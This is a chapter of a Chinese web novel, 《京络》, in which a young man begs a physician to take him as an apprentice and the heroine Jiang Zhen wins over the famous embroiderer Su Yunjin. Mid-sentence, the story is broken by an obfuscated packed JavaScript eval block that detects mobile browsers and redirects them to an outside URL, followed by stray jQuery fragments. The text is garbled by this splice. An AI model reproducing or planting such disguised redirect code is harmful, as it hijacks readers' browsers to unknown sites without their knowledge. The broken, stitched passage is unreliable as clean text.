22. 绣娘·相遇

作品:《京络

    肖平环顾四周,二话不说跪在了于尹禾身前:“于神医,那日我见您一手医术救我西街百姓,心生敬仰之情。求您收我为徒,我定踏实求学,一心为民。”


    于尹禾眉毛轻皱,上前将肖平扶起:“肖平,这世上比我医术高超的人多了去……”


    “但没有一人在西街为难时挺身而出!”肖平骤然打断于尹禾,“我当时在西街帮忙,后来回来时听大家伙说,刘老身死时,寺院那么多人竟无一人敢上前搬尸体。是您和霍大人搬的,肖平心中更是钦佩。”


    于尹禾尬笑:“都是霍大人临危不乱,我只是……”


    “若您执意不收徒,那可否先看看我的表现再做决定?”肖平目光诚恳,满满期待地看着于尹禾。


    于尹禾心下一盘算,点点头答应了。


    ……


    丰年县今日格外热闹,街上格外热闹,走在街坊之间还能见到外商人。


    楚怀带着面具,背着手走着,心下却疑惑着,伸手拦下两个迎面走来的老妇人:“敢问夫人,为何今日街坊间格外热闹?”


    那老妇人上了年纪,楚怀看着颇为年轻还叫她夫人,一时间心花怒放:“你是外乡来的吧,听这口音像是京都那边的。”


    楚怀笑笑:“夫人慧眼,在下佩服。”


    那老妇人掩着面笑:“你可知那大周第一绣娘苏韵锦?她前段时间来了兖州,一个县一个县地游历,听说是要找这世间最独一无二的布料呢。今日刚到我们丰年县,不少布衣坊都争着抢着请她到自己店里去看看。若真有人被她瞧见了,那可就声名远扬咯!”


    楚怀拜谢,老妇人娇笑着和好友走了,留下楚怀独自在原地喃喃道:“大周第一绣娘……”


    店铺前人满为患,无数人挤着往店里张望着,生怕错过什么。楚怀混在人群中,被挤的极不自在,但一想到那颇为唬人的噱头,楚怀拧着眉继续等着。


    终于,在众人的翘首以盼下,店里面走出来一位女子。那女子穿的并不华贵,可仍然在一瞬间抓住了所有人的视线,不为别的,只为那裙身上逼真的锦鲤。


    人群中一时之间静极,人人都目不转睛地看着。这裙身上的锦鲤个个眼神灵动,各有各的形态,各有各的身姿,唯一相同的便是每一只都像是要从苏韵锦裙身上跃出一般,分外逼真。


    楚怀看着锦鲤,心下觉得与平日里见到的锦鲤有些不同,却又一时说不上来哪里不同。


    苏韵锦带着面衣,只露出一双眼和光洁的额头,此时正遗憾地摇摇头:“这家也没有。”


    “苏小姐,来我家看看!”百姓间有一男子高高举着胳膊。


    此人不是旁人,正是丰年县最大的布坊的主人何知。边上的百姓认出何知,个个应和道:“是啊是啊,若是连何老板的店里都没有苏小姐想要的布匹,那别人的布坊里岂不是更没希望了。”


    苏韵锦轻笑:“那便请公子带路吧。”


    围观的人纷纷让出一条道来供苏韵锦走,楚怀混在人群中,不知道在想些什么。苏韵锦走到楚怀身前时忽然一顿,眸光微转,颇为赞许的点点头:“公子好身段。”


    还没等楚怀回应,苏韵锦便走了。


    又是一顿好等,终于盼出了苏韵锦的身影,却令等着的百姓们大失所望,苏韵锦依旧遗憾的摇摇头:“看来丰年县没有我想要的,让诸位空欢喜一场,是我对不起大家。”


    众人一时都不好意思起来,聚在这里的大都是为了凑个热闹,顺带看看这传闻中的第一绣娘。此时被如此郑重的对待,倒有些不自在。


    苏韵锦莲步轻移,将走之时人群中却再度传来一道声音。


    “姑娘留步。”


    楚怀身子猛地一僵,几乎是条件反射一般转头循着声音看过去。人群中不知何时站着一位女子,柳眉杏眼,身姿绰约,此时正笑着看苏韵锦。不是旁人,正是江溱。


    一旁的百姓们都好奇地看着江溱,丰年县并不大,街坊邻居之间虽不能说都认识,但是像江溱这样模样出众,气质出挑的大家理应见一面便都有印象。


    苏韵锦上下打量了一番江溱:“姑娘看起来不像布坊老板。”


    江溱轻笑:“我的确不是布坊老板,可姑娘想寻到的布,我有。”


    此话一出,不止楚怀,在场的所有人都一时色变。


    苏韵锦眼神中带着激动:“当真?你可知道我要寻的是什么布。”


    “姑娘要寻的,是世间最独一无二之布料,”江溱笃定地看着苏韵锦,“若是不知,我怎敢说这话。”


    “姑娘,你可莫要说大话啊。苏小姐几乎走遍了兖州都没有找到的布料,你却说你有?不知姑娘是什么身份?”有人质疑道。


    江溱丝毫不乱,转身对着那人道:“兄台说笑了,在下无名小卒,不足挂齿。”


    那人见江溱避重就轻地回答了,一时愤愤。还要说什么时,膝间却猛地被什么东西敲了一下,身子一软跪了下去。没有人在意这场闹剧,大家的注意力都在苏韵锦和江溱身上。


    “苏姑娘,可否借一步说话?”


    “乐意之至。”


    身后偌大的布坊便是最好的地方,老板识相地带着伙计站在了店外,与众人一同等着。


    “姑娘说自己有最独一无二的布料,不知在何处?”苏韵锦看着面前的空着手江溱,疑惑发问。


    江溱轻笑:“姑娘想找世间最独一无二的布料,却不知自己早已经拥有了。”


    苏韵锦一愣:“拥有了?”


    “没错,”江溱缓缓踱着步,“云锦轻薄,宋锦坚柔,库锦奢华,香云纱色泽自然,乔其纱轻薄飘逸,三法纱透气性观赏性俱佳,天香绢质地细腻,平素绡质地轻盈,双宫绸厚实有光泽,织锦缎平滑光亮……”


    江溱回过头看着脸色凝重的苏韵锦故作神秘地顿了顿又道:“苏姑娘,你最喜欢哪个?”


    苏韵锦抿唇思索了半晌,遗憾地摇摇头:“你所说的布料里面有些是宫廷专属,我没有见过,其他的也各有各的优点……”


    江溱点点头:“我列举了这么多,无论你见没见过的,个个都是有名的好布料,可苏姑娘却选不出来哪个是自己最喜欢的。”


    苏韵锦好像懂了又好像没懂:“难道这其中有那世间最独一无二的布料,是我眼拙没认


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932240|192818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出?”


    江溱摇摇头,颇为郑重地对苏韵锦道:“非也,这世间最独一无二的布料,并不是这些为人们所追捧的寻常布料,而是绣娘的心。”


    “绣娘的心……”苏韵锦喃喃道。


    “不错。苏姑娘作为大周第一绣娘,远近闻名,绣过的物件更是数不胜数。但无论以何绣法,绣在何处,姑娘心中都会先想数遍,方能绣成。实则不止姑娘,每一位绣娘都拥有这世间最独一无二的布料。”


    苏韵锦看着江溱,不知想到了什么,眼眶逐渐红了起来:“你说得对,我真是愚笨……愚笨啊。”


    江溱被突如其来的变化弄得不知所措起来:“姑娘这是何意?”


    苏韵锦摆摆手,对着江溱深深行礼:“姑娘大义,苏韵锦此生不及。若姑娘不嫌弃,可否允我跟随姑娘左右?”


    苏韵锦说得诚恳,却惊到了江溱:“苏姑娘说笑了,姑娘身为大周第一绣娘,跟着我……”


    “虚名而已,韵锦不在乎。”苏韵锦腰弯的更深。


    江溱上前扶起她:“先出去再说吧。”


    苏韵锦深吸几口气,待眼眶中的红褪下去些,方与江溱一起走出门:”诸位,韵锦何其有幸,今日得遇姑娘,终于找到了这世间最独一无二的布料。在座诸位,人人有赏!”


    人群中顿时哗然,一时之间议论纷纷。楚怀看着江溱,藏在面具下的唇勾着笑。江溱似有所察,看向楚怀的方向。两人便在这兖州,隔着哄闹的人群,隔着神秘的面具,默契地对视着。


    若说先前看到楚怀的身影只是猜测,那现在这一眼江溱便已经可以肯定此人就是楚怀。


    苏韵锦吩咐身边的侍女给所有人分了铜钱,看着江溱道:“姑娘住在哪里?”


    江溱回过神:“我也是今日刚到丰年县,还没有住所。”


    苏韵锦轻笑,凑上前对着江溱俏皮地眨了眨眼:“那便与我住在一起可好?”


    江溱点点头,不自在地后退一步。


    ……


    客栈,苏韵锦解下面衣,露出一张精致风雅的面容来:“还不知姑娘芳名?”


    “江溱,字晚吟。我身侧这位唤素衣,是我的贴身婢女。”江溱笑着对倒水的侍女点了点头。


    苏韵锦指尖轻点那小侍女:“这是我的贴身婢女,名唤苏荷。”


    江溱挑眉,有些意外地看着苏韵锦。


    似是猜到了江溱所想,苏韵锦掩面笑道:“江姑娘可是诧异于这婢女与主人家同姓?”


    江溱点点头,却没多问。不过苏韵锦却并不隐瞒:“这婢女是我在街上捡到的,算是我看着长大的,与那些签了卖身契的婢女不同,她是我的家人。”说到最后一句,苏韵锦脸上带着柔情的笑。


    江溱眼眸从苏荷身上转到身侧的素衣:“素衣也是我的家人。”


    苏韵锦似是没想到江溱会这样说:“江姑娘果然与旁的闺阁女子不同。”别说苏韵锦,饶是素衣也没想到江溱会出此言,此时眼中竟隐隐含着泪水。


    苏韵锦不绕弯子,喝了口茶道:“方才忽然失态,是韵锦冒犯了。不知江姑娘,可愿意听听我的故事?”